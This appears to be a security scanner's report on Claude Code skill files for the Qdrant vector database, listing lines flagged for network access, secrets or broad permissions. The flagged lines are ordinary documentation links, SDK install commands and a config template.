return '''\ repos: - repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 598
repos: - repo: https://github.com/astral-sh/ruff-pre-commit rev: v0.4.4 - Network accessline 599
- repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 606
- repo: https://github.com/psf/black - Network accessline 611
- repo: https://github.com/pycqa/isort - Network accessline 616
- repo: https://github.com/pre-commit/mirrors-mypy - Network accessline 621
- repo: https://github.com/pre-commit/pre-commit-hooks - Network accessline 641
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), - Network accessline 642
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Network accessline 651
[Unreleased]: https://github.com/yourusername/{name}/commits/master - Network accessline 661
[](https://pypi.org/project/{name}/) - Network accessline 662
[](https://pypi.org/project/{name}/) - Network accessline 663
[](LICENSE) - Access to secretsline 676
[Credential-related source omitted] - Access to secretsline 685
[Credential-related source omitted] - Access to secretsline 842
[Credential-related source omitted]
harness/claude-code/skills/qdrant-clients-sdk/SKILL.md
- Broad permissionsline 1
Read, Grep, Glob, Bash - Network accessline 26
| Language | Official SDK | Install command or source | | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | - Network accessline 27
| --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com - Network accessline 28
| Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | - Network accessline 29
| JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com/qdrant/qdrant-js` | - Network accessline 30
| Rust | `rust-client` | `cargo add qdrant-client` from `https://github.com/qdrant/rust-client` | - Network accessline 31
| Go | `go-client` | `go get github.com/qdrant/go-client` from `https://github.com/qdrant/go-client` | - Network accessline 32
| .NET | `qdrant-dotnet` | `dotnet add package Qdrant.Client` from `https://github.com/qdrant/qdrant-dotnet` | - Network accessline 33
| Java | `java-client` | Maven Central artifact `io.qdrant/client` at `https://central.sonatype.com/artifact/io.qdrant/client` and source `https://github.com/qdrant/java-client` | - Network accessline 37
| Surface | Use when | Reference | | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https - Network accessline 38
| --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/ma - Network accessline 39
| REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/master/docs/redoc/mast - Network accessline 40
| gRPC API | You need lower overhead, streaming-friendly integrations, or native generated protobuf clients. | gRPC protobuf definitions `https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto` | - Network accessline 41
| Curated snippets | You need operation-level examples before writing code. | `https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points` | - Network accessline 45
1. Choose one supported snippet language: `python`, `typescript`, `rust`, `java`, `go`, or `csharp`. 2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippet - Network accessline 46
2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query - Network accessline 47
3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query>"`. - Network accessline 62
| Reliability flags | `parallel=4`, `max_retries=3` | Mention when preserving robust indexing behavior. | | Idempotency | Re-uploading and re-uploading the same `id` overwrites existing points. | If ids are omitted, Qdrant auto-generates UU - Network accessline 64
| Documentation source | `https://qdrant.tech/documentation/manage-data/points/` | Cite when discussing point management. | - Network accessline 93
- [Qdrant Python client](https://github.com/qdrant/qdrant-client) - Network accessline 94
- [Qdrant JavaScript/TypeScript client](https://github.com/qdrant/qdrant-js) - Network accessline 95
- [Qdrant Rust client](https://github.com/qdrant/rust-client) - Network accessline 96
- [Qdrant Go client](https://github.com/qdrant/go-client) - Network accessline 97
- [Qdrant .NET client](https://github.com/qdrant/qdrant-dotnet) - Network accessline 98
- [Qdrant Java client](https://github.com/qdrant/java-client) - Network accessline 99
- [Qdrant Java Maven Central artifact](https://central.sonatype.com/artifact/io.qdrant/client) - Network accessline 100
- [Qdrant REST OpenAPI Reference](https://api.qdrant.tech/api-reference) - Network accessline 101
- [Qdrant OpenAPI JSON](https://github.com/qdrant/qdrant/blob/master/docs/redoc/master/openapi.json) - Network accessline 102
- [Qdrant gRPC protobuf definitions](https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto) - Network accessline 103
- [Qdrant snippet search example](https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points) - Network accessline 104
- [Qdrant point management](https://qdrant.tech/documentation/manage-data/points/)
harness/claude-code/skills/qdrant-deployment-options/SKILL.md
- Network accessline 102
- [Qdrant local mode quickstart](https://qdrant.tech/documentation/quickstart/) - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run) - Network accessline 103
- [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run) - Network accessline 104
- [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/) - Network accessline 105
- [Qdrant Cloud](https://qdrant.tech/documentation/cloud-quickstart/) - Network accessline 106
- [Hybrid Cloud](https://qdrant.tech/documentation/hybrid-cloud/) - Network accessline 107
- [Qdrant EDGE](https://qdrant.tech/documentation/edge/edge-quickstart/)
harness/claude-code/skills/qdrant-model-migration/SKILL.md
- Network accessline 129
- [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases) - Network accessline 130
- [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection) - Network accessline 131
- [Collection with multiple vectors](https://qdrant.tech/documentation/manage-data/collections/?s=collection-with-multiple-vectors) - Network accessline 132
- [Update vectors](https://qdrant.tech/documentation/manage-data/points/?s=update-vectors) - Network accessline 133
- [Update mode](https://qdrant.tech/documentation/manage-data/points/?s=update-mode) - Network accessline 134
- [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 135
- [Bulk upload](https://qdrant.tech/documentation/tutorials-develop/bulk-upload/) - Network accessline 136
- [Inference docs](https://qdrant.tech/documentation/inference/)
harness/claude-code/skills/qdrant-monitoring/SKILL.md
- Network accessline 34
Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/. - Network accessline 34
Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/. - Network accessline 99
- [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/) - Network accessline 99
- [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)
harness/claude-code/skills/qdrant-monitoring/debugging/SKILL.md
- Network accessline 15
- Use `/collections/{collection_name}/optimizations` endpoint (v1.17+) to check status [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring) - Network accessline 16
- Query with optional detail flags: `?with=queued,completed,idle_segments` - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task - Network accessline 17
- Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/opti - Network accessline 18
- Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/optimizer/?s=web-ui) - Network accessline 27
- Process memory metrics available via `/metrics` (RSS, allocated bytes, page faults) - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available R - Network accessline 28
- Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available RAM is normal. [Memory article](https://qdrant.tech/articles/memory-consumption/) - Network accessline 29
- If resident memory (RSSAnon) exceeds 80% of total RAM, investigate - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vect - Network accessline 30
- Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdra - Network accessline 31
- Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdrant.tech/documentation/operations/capacity-planning/) - Network accessline 42
- Check optimizer status first. Active optimizations compete for CPU and I/O, degrading search latency. - Check segment count via collection info. Too many unmerged segments after bulk upload causes slower search. - Compare filtered vs unfi - Network accessline 44
- Compare filtered vs unfiltered query times. Large gap means missing payload index. [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
harness/claude-code/skills/qdrant-monitoring/setup/SKILL.md
- Network accessline 15
- Node metrics at `/metrics` endpoint [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/) - Network accessline 16
- Cluster metrics at `/sys_metrics` (Qdrant Cloud only) - Prefix customization via `service.metrics_prefix` config or `QDRANT__SERVICE__METRICS_PREFIX` env var - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring rep - Network accessline 18
- Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring repo](https://github.com/qdrant/prometheus-monitoring) - Network accessline 27
- Hybrid Cloud Prometheus setup tutorial [Hybrid Cloud Prometheus](https://qdrant.tech/documentation/tutorials-and-examples/hybrid-cloud-prometheus/) - Network accessline 28
- Official Grafana dashboards [Grafana dashboard repo](https://github.com/qdrant/qdrant-cloud-grafana-dashboard) - Network accessline 35
- Use `/healthz`, `/livez`, `/readyz` for basic status, liveness, and readiness [Kubernetes health endpoints](https://qdrant.tech/documentation/operations/monitoring/?s=kubernetes-health-endpoints) - Network accessline 42
- Hybrid Cloud provides ~11 pre-configured Prometheus alerts out of the box [Cloud cluster monitoring](https://qdrant.tech/documentation/cloud/cluster-monitoring/) - Network accessline 51
- Enable JSON log format for structured analysis: set `logger.format` to `json` in config [Configuration](https://qdrant.tech/documentation/operations/configuration/) - Network accessline 53
- Audit logs (v1.17+) write to local filesystem (`/qdrant/storage/audit/`), not stdout. Mount a Persistent Volume and deploy a sidecar container to tail these files to stdout so DaemonSets can pick them up. [Audit logging](https://qdrant.te
harness/claude-code/skills/qdrant-performance-optimization/indexing-performance-optimization/SKILL.md
- Network accessline 10
- Understand the indexing optimizer [Indexing optimizer](https://qdrant.tech/documentation/operations/optimizer/?s=indexing-optimizer) - Network accessline 20
- Use batch upserts (64-256 points per request) [Points API](https://qdrant.tech/documentation/manage-data/points/?s=upload-points) - Network accessline 25
- Create more shards (3-12), each shard has an independent update worker [Sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=sharding) - Network accessline 26
- Create payload indexes before HNSW builds (needed for filterable vector index) [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 30
- Disable HNSW during bulk load (set `indexing_threshold_kb` very high, restore after) [Collection params](https://qdrant.tech/documentation/manage-data/collections/?s=update-collection-parameters) - Network accessline 35
See https://qdrant.tech/documentation/tutorials-develop/bulk-upload/ - Network accessline 42
- Check actual progress via optimizations endpoint (v1.17+) [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring) - Network accessline 52
- Reduce `m` (default 16, good for most cases, 32+ rarely needed) [HNSW params](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 53
- Reduce `ef_construct` (100-200 sufficient) [HNSW config](https://qdrant.tech/documentation/manage-data/collections/?s=indexing-vectors-in-hnsw) - Network accessline 54
- Keep `max_indexing_threads` proportional to CPU cores [Configuration](https://qdrant.tech/documentation/operations/configuration/) - Network accessline 55
- Use GPU for indexing [GPU indexing](https://qdrant.tech/documentation/operations/running-with-gpu/) - Network accessline 62
See [Multi-tenant collections](https://qdrant.tech/documentation/manage-data/multitenancy/) for details. - Network accessline 71
Read more about disabling extra HNSW links in [documentation](https://qdrant.tech/documentation/manage-data/indexing/?s=disable-the-creation-of-extra-edges-for-payload-fields) - Network accessline 73
Read more about ACORN in [documentation](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
harness/claude-code/skills/qdrant-performance-optimization/memory-usage-optimization/SKILL.md
- Network accessline 18
- Qdrant exposes memory usage through the `/metrics` endpoint. See [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/). - Network accessline 27
- For regular search scenarios, general guidelines are provided in the [Capacity planning docs](https://qdrant.tech/documentation/operations/capacity-planning/). - Network accessline 29
For a detailed breakdown of memory usage at large scale, see [Large scale memory usage example](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=memory-usage). - Network accessline 42
- Deployments with low latency disks - local NVMe or similar. - Multi-tenant deployments, where only a subset of tenants is frequently accessed, so that only a fraction of data & index is loaded in RAM at a time. - For deployments with [inl - Network accessline 44
- For deployments with [inline storage](https://qdrant.tech/documentation/operations/optimize/?s=inline-storage-in-hnsw-index) enabled. - Network accessline 52
- Use quantization to store only compressed vectors in RAM [Quantization docs](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 54
- Use float16 or int8 datatypes to reduce memory usage of vectors by 2x or 4x respectively, with some tradeoff in precision. Read more about vector datatypes in [documentation](https://qdrant.tech/documentation/manage-data/vectors/?s=dataty - Network accessline 56
- Leverage Matryoshka Representation Learning (MRL) to store only small vectors in RAM while keeping large vectors on disk. Examples of how to use MRL with Qdrant Cloud inference: [MRL docs](https://qdrant.tech/documentation/inference/?s=re - Network accessline 58
- For multi-tenant deployments with small tenants, vectors might be stored on disk because the same tenant's data is stored together [Multitenancy docs](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) - Network accessline 60
- For deployments with fast local storage and relatively low requirements for search throughput, it may be possible to store all components of vector store on disk. Read more about the performance implications of on-disk storage in [the art - Network accessline 62
- For low RAM environments, consider `async_scorer` config, which enables support of `io_uring` for parallel disk access, which can significantly improve performance of on-disk storage. Read more about `async_scorer` in [the article](https: - Network accessline 64
- Consider storing Sparse Vectors and text payload on disk, as they are usually more disk-friendly than dense vectors. - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk - Network accessline 65
- Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index) - Network accessline 66
- Configure sparse vectors to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=sparse-vector-index)
harness/claude-code/skills/qdrant-performance-optimization/search-speed-optimization/SKILL.md
- Network accessline 28
- Tune HNSW parameters: [Fine-tuning search](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 29
- Enable in-memory quantization: [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization) - Network accessline 30
- Reduce Vector Dimensionality with Matryoshka Models: [Matryoshka Models](https://qdrant.tech/documentation/inference/?s=reduce-vector-dimensionality-with-matryoshka-models) - Network accessline 31
- Use oversampling + rescore for high-dimensional vectors [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization) - Network accessline 32
- Enable io_uring for disk-heavy workloads on Linux [io_uring](https://qdrant.tech/articles/io_uring/) - Network accessline 39
- Reduce segment count (`default_segment_number` to 2) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput) - Network accessline 40
- Use batch search API instead of single queries [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api) - Network accessline 41
- Enable quantization to reduce CPU cost [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization) - Network accessline 42
- Add replicas to distribute read load [Replication](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication) - Network accessline 49
- Create payload index on the filtered field [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 50
- Use `is_tenant=true` for primary filtering condition: [Tenant index](https://qdrant.tech/documentation/manage-data/indexing/?s=tenant-index) - Network accessline 51
- Try ACORN algorithm for complex filters: [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm) - Network accessline 68
Learn more [here](https://qdrant.tech/documentation/search/low-latency-search/?s=query-indexed-data-only)
harness/claude-code/skills/qdrant-scaling/minimize-latency/SKILL.md
- Network accessline 14
- Increase segment count to match CPU cores (`default_segment_number: 16`) [Minimizing latency](https://qdrant.tech/documentation/operations/optimize/?s=minimizing-latency) - Network accessline 15
- Keep quantized vectors and HNSW in RAM (`always_ram=true`) - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Use local NVMe, - Network accessline 16
- Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 23
- Vertical scale RAM first. Critical if working set >80%. - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 24
- Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 25
- Move payload indexes to disk if filtering is infrequent [On-disk payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)
harness/claude-code/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling/SKILL.md
- Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding) - Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding) - Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
harness/claude-code/skills/qdrant-scaling/scaling-data-volume/sliding-time-window/SKILL.md
- Network accessline 15
Use when: data has natural time boundaries (daily, weekly, monthly). Preferred because queries span all time periods in one request without application-level fan-out. [User-defined sharding](https://qdrant.tech/documentation/operations/dist - Network accessline 31
Use when: you need per-period collection configuration (e.g., different quantization or storage settings). [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases) - Network accessline 33
1. Create one collection per time period, point a write alias at the newest 2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switc - Network accessline 34
2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=s - Network accessline 35
3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection) - Network accessline 45
1. Store a `timestamp` payload on every point, create a payload index on it [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 46
2. Filter to the desired window at query time using `range` condition [Range filter](https://qdrant.tech/documentation/search/filtering/?s=range) - Network accessline 47
3. Periodically delete expired points using delete-by-filter [Delete points](https://qdrant.tech/documentation/manage-data/points/?s=delete-points) - Network accessline 58
- **Shard rotation:** place current shard key on fast-storage nodes, move older shard keys to cheaper nodes via shard placement. All queries still go through a single collection. - **Collection rotation:** keep current collection in RAM (`a - Network accessline 59
- **Collection rotation:** keep current collection in RAM (`always_ram: true`), move older collections to mmap/on-disk vectors. [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
harness/claude-code/skills/qdrant-scaling/scaling-data-volume/tenant-scaling/SKILL.md
- Network accessline 10
- Understand multitenancy patterns [Multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/) - Network accessline 18
Read about [Partition by payload](https://qdrant.tech/documentation/manage-data/multitenancy/?s=partition-by-payload) and [Calibrate performance](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) for best - Network accessline 23
At this scale, the cluster may consist of several peers. To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants - Network accessline 24
To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants to specific shards based on tenant ID hash. - Network accessline 29
If some tenants are much larger than others, use [tiered multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/?s=tiered-multitenancy) to promote large tenants to dedicated shards while keeping small tenants on shared sha
harness/claude-code/skills/qdrant-scaling/scaling-data-volume/vertical-scaling/SKILL.md
- Network accessline 10
- Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/) - Network accessline 10
- Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/) - Network accessline 28
- Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli) - Network accessline 28
- Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli) - Network accessline 41
- Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q - Network accessline 41
- Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q - Network accessline 42
- With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 42
- With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 43
- With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization) - Network accessline 43
- With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)
harness/claude-code/skills/qdrant-scaling/scaling-qps/SKILL.md
- Network accessline 16
- Use fewer, larger segments (`default_segment_number: 2`) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput) - Network accessline 17
- Enable quantization with `always_ram=true` to reduce disk IO [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 18
- Use batch search API to amortize overhead [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api) - Network accessline 22
- Configure update throughput control (v1.17+) to prevent unoptimized searches degrading reads [Low latency search](https://qdrant.tech/documentation/search/low-latency-search/) - Network accessline 24
- Configure delayed read fan-out (v1.17+) for tail latency [Delayed fan-outs](https://qdrant.tech/documentation/search/low-latency-search/?s=use-delayed-fan-outs) - Network accessline 32
- Shard replicas serve queries from replicated shards, distributing read load across nodes - Each replica adds independent query capacity without re-sharding - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment - Network accessline 34
- Use `replication_factor: 2+` and route reads to replicas [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication) - Network accessline 44
- Upgrade to provisioned IOPS or local NVMe first. See impact of disk performance to vector search in [Disk performance article](https://qdrant.tech/articles/memory-consumption/) - Network accessline 45
- Use `io_uring` on Linux (kernel 5.11+) [io_uring article](https://qdrant.tech/articles/io_uring/) - Network accessline 46
- In case of quantized vectors, prefer global rescoring over per-segment rescoring to reduce disk reads. Example in the [tutorial](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=search-query) - Network accessline 47
- Configure higher number of search threads to parallelize disk reads. Default is `cpu_count - 1`, which is optimal for RAM-based search but may be too low for disk-based search. See [configuration reference](https://qdrant.tech/documentati
harness/claude-code/skills/qdrant-search-quality/SKILL.md
- Network accessline 39
Start by testing with exact search to isolate the problem. Preserve and consult the Qdrant Search API documentation at https://qdrant.tech/documentation/search/search/?s=search-api. - Network accessline 106
- [Qdrant Search API](https://qdrant.tech/documentation/search/search/?s=search-api)
harness/claude-code/skills/qdrant-search-quality/diagnosis/SKILL.md
- Network accessline 14
- Test with `exact=true` to bypass HNSW approximation [Search API](https://qdrant.tech/documentation/tutorials-search-engineering/retrieval-quality/?s=standard-mode-vs-exact-search) - Network accessline 16
- Check if quantization degrades quality (compare with and without) - Check if filters are too restrictive (then you might need to use ACORN) - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https:// - Network accessline 18
- If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://qdrant.tech/documentation/search/search/?s=grouping-api) - Network accessline 26
- Increase `hnsw_ef` at query time [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 27
- Increase `ef_construct` (200+ for high quality) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 28
- Increase `m` (16 default, 32 for high recall) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 29
- Enable oversampling + rescore with quantization [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization) - Network accessline 30
- ACORN for filtered queries (v1.16+) [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm) - Network accessline 32
Binary quantization requires rescore. Without it, quality loss is severe. Use oversampling (3-5x minimum for binary) to recover recall. Always test quantization impact on your data before production. [Quantization](https://qdrant.tech/docum - Network accessline 38
Test top 3 MTEB models on 100-1000 sample queries, measure recall@10. Domain-specific models often outperform general models. [Hosted inference](https://qdrant.tech/documentation/inference/)
harness/claude-code/skills/qdrant-search-quality/search-strategies/SKILL.md
- Network accessline 15
- Dense + sparse with `prefetch` and fusion [Hybrid search](https://qdrant.tech/documentation/search/hybrid-queries/?s=hybrid-search) - Network accessline 16
- Prefer learned sparse ([miniCOIL](https://qdrant.tech/documentation/fastembed/fastembed-minicoil/), SPLADE, GTE) over raw BM25 if applicable (when user needs smart keywords matching and learned sparse models know the vocabulary of the dom - Network accessline 17
- For non-English languages, [configure sparse BM25 parameters accordingly](https://qdrant.tech/documentation/search/text-search/?s=language-specific-settings) - Network accessline 18
- RRF: good default, supports weighted (v1.17+) [RRF](https://qdrant.tech/documentation/search/hybrid-queries/?s=reciprocal-rank-fusion-rrf) - Network accessline 19
- DBSF with asymmetric limits (sparse_limit=250, dense_limit=100) can outperform RRF for technical docs [DBSF](https://qdrant.tech/documentation/search/hybrid-queries/?s=distribution-based-score-fusion-dbsf) - Network accessline 26
- Cross-encoder rerankers via FastEmbed [Rerankers](https://qdrant.tech/documentation/fastembed/fastembed-rerankers/) - Network accessline 27
- See how to use [Multistage queries](https://qdrant.tech/documentation/search/hybrid-queries/?s=multi-stage-queries) in Qdrant - Network accessline 28
- ColBERT and ColPali/ColQwen reranking is especially precise due to late interaction mechanisms, but it is heavy. It is important to configure and store multivectors without building HNSW for them to save resources. See [Multivector repres - Network accessline 40
- RF Query is currently based on a [3-parameter naive formula](https://qdrant.tech/documentation/search/search-relevance/?s=naive-strategy) with no universal defaults, so it must be tuned per dataset, retriever, and feedback model - Network accessline 41
- Use [qdrant-relevance-feedback](https://pypi.org/project/qdrant-relevance-feedback/) to tune parameters, evaluate impact with Evaluator, and check retriever-feedback agreement. See README for setup instructions. No GPUs are needed, and th - Network accessline 42
- Check the configuration of the [Relevance Feedback Query API](https://qdrant.tech/documentation/search/search-relevance/?s=relevance-feedback) - Network accessline 43
- Use this as a helper end-to-end text retrieval example with parameter tuning and evals to understand how to use the API and run the `qdrant-relevance-feedback` framework: [RF tutorial](https://qdrant.tech/documentation/tutorials-search-en - Network accessline 49
- Use MMR (v1.15+) as a query parameter with `diversity` to balance relevance and diversity [MMR](https://qdrant.tech/documentation/search/search-relevance/?s=maximal-marginal-relevance-mmr) - Network accessline 57
- Recommendation API: positive/negative examples to recommend fitting vectors [Recommendation API](https://qdrant.tech/documentation/search/explore/?s=recommendation-api) - Network accessline 58
- Best score strategy: better for diverse examples, supports negative-only [Best score](https://qdrant.tech/documentation/search/explore/?s=best-score-strategy) - Network accessline 59
- Discovery API: context pairs (positive/negative) to constrain search regions without a request target [Discovery](https://qdrant.tech/documentation/search/explore/?s=discovery-api) - Network accessline 64
Check how to set up in [Score Boosting docs](https://qdrant.tech/documentation/search/search-relevance/?s=score-boosting)
harness/claude-code/skills/qdrant-version-upgrade/SKILL.md
- Network accessline 36
A Qdrant cluster with a replication factor of 2 or higher can be upgraded without downtime by performing a rolling upgrade: upgrade one node at a time while the other nodes continue to serve requests. Preserve the replication factor referen - Network accessline 51
3. Upgrade the SDK to the next target minor first; keep feature usage within the old server's supported subset until server upgrade completes. 4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait fo - Network accessline 52
4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait for health before continuing. 5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. 6. - Network accessline 53
5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. - Network accessline 92
- [Qdrant replication factor documentation](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication-factor) - Network accessline 93
- [qcloud CLI](https://github.com/qdrant/qcloud-cli)
harness/claude-code/skills/quality-playbook/LICENSE.txt
harness/claude-code/skills/quality-playbook/SKILL.md
- Network accessline 11
metadata: author: Andrew Stellman github: "https://github.com/andrewstellman/quality-playbook" - Network accessline 12
